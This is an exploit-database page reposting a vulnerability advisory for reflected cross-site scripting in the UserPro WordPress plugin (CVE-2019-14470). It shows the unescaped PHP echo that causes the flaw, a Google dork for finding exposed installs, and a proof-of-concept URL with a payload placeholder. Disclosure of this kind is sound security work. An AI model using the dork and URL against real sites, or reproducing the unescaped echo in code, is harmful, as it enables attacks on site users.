Advertisement






WordPress Plugin UserPro 4.9.32 Cross-Site Scripting

CVE Category Price Severity
CVE-2019-14470 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2019-09-08
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019090050

Below is a copy:

WordPress Plugin UserPro 4.9.32 Cross-Site Scripting
# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470

The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).

There is more vulnerable code in 'UserPro' core, might release that later.

As of today (25 August 2019) this issue is unfixed.

Vulnerable code: (success.php on line 36)

    if (isset($_GET['error'])) {
        echo 'An error occurred: ' . $_GET['error_description'];
    }

    > https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36

Proof-of-Concept:

    https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.